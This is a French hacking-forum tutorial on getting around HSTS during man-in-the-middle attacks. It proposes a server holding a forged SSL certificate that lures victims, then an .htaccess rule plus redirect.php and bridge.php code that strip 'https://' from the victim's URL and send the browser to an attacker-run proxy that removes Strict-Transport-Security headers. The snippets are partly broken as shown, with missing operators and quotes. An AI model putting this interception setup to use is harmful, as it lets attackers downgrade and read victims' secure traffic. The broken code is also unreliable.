Annonce

Réduire
Aucune annonce.

Contournement HSTS pour attaque Man in the Middle

Réduire
X
 
  • Filtre
  • Heure
  • Afficher
Tout nettoyer
nouveaux messages

  • Tutoriel Contournement HSTS pour attaque Man in the Middle

    Beaucoup d'entre nous se sont déjà retrouvé face au gros vieux "HSTS Failure' du navigateur lors de leurs attaques MITM . J'ai donc un piti peu bossé là dessus histoire d'éviter cet affreux message.

    Les prérequis:
    -Deux serveurs dédiés en état de fonctionner,
    -Quelques connaissances en applications web Python / PHP
    -un peu de temps ( c'est le plus difficile à trouver )


    Le principe de l'attaque


    Rappelons tout d'abord ce qu'est le HSTS:

    HTTP Strict Transport Security (HSTS) est un mécanisme de politique de sécurité proposé pour HTTP, permettant à un serveur web de déclarer à un agent utilisateur (comme un navigateur web), compatible, qu'il doit interagir avec lui en utilisant une connexion sécurisée (comme HTTPS). La politique est donc communiquée à l'agent utilisateur par le serveur via la réponse HTTP, dans le champ d'en-tête nommé « Strict-Transport-Security ». La politique spécifie une période de temps durant laquelle l'agent utilisateur doit accéder au serveur uniquement de façon sécurisée. (Wikipédia.org)
    Il nous faudra donc un serveur web en ligne avec un certificat SSL falsifié sur lequel on va attirer la victime (Le Darknet en est bourré, mais on va s'en passer puisque c'est totalement illégal: le faux certificat restera donc imaginaire tout au long de ce tuto.). Ce sera notre "plateforme de cassage HTTPS" qui redirigera la victime vers un mandataire HTTP (proxy) en ligne codé en Python et PHP qui doit impérativement, non seulement accepter des connexions HTTPS en aval, mais aussi modifier les headers HTTP, histoire que des Strict-Transport-Security "max-age=BiduleTruc" ne réussissent à se frayer un chemin.



    Mise en place (virtuelle pour nous):

    Imaginons que c'est bon, vous avez votre serveur Web avec le certificat SSL falsifié (on va le surnommer WEB1), et votre Mandataire HTTP en ligne (on va le surnommer WEB2).

    Sur WEB1, il faudra modifier le .htaccess histoire de toujours tomber sur le fichier qui contient le script de redirection qui nous intéresse:

    Code:
    RewriteEngine On
    RewriteRule (.*) redirect.php
    RewriteRule .* - [E=HTTP_AUTHORIZATION:%{HTTP:Authorization},L]
    Toujours sur WEB1, il suffit de créer un "redirect.php" et un "bridge.php", l'un sera là pour définir la page que la victime tente d'ouvrir et l'autre pour les paramètres de redirection vers le proxy. Je préfère utiliser deux fichiers au lieu d'AJAX pour ce genre d'attaques.

    Voici des exemples de codes (je viens de les coder à l'arrache mais ça a l'air de fonctionner, ne me lynchez pas )

    redirect.php:
    Code PHP:
    <script type="text/javascript">
    var 
    url document.location;
    document.location.href "./bridge.php?url="+url;</script
    bridge.php:
    Code PHP:
     <script type="text/javascript">
    document.location.href = "http://WEB2/<?php $str $_GET["url"];
    $str preg_replace('#^https?://#'''$str);
    echo 
    $str;?>";
    </script>
    Et pour WEB1 et WEB2, on est bon (je crois )

    Biensûr, il y a un tas (et pas un petit ) d'améliorations à faire, donc si vous avez des idées...

    Chez moi le résultat est pas mal, je bosse encore sur une version améliorée de WEB2, je la mettrais en ligne dès que possible.




    Happy Hunting !
Chargement...
X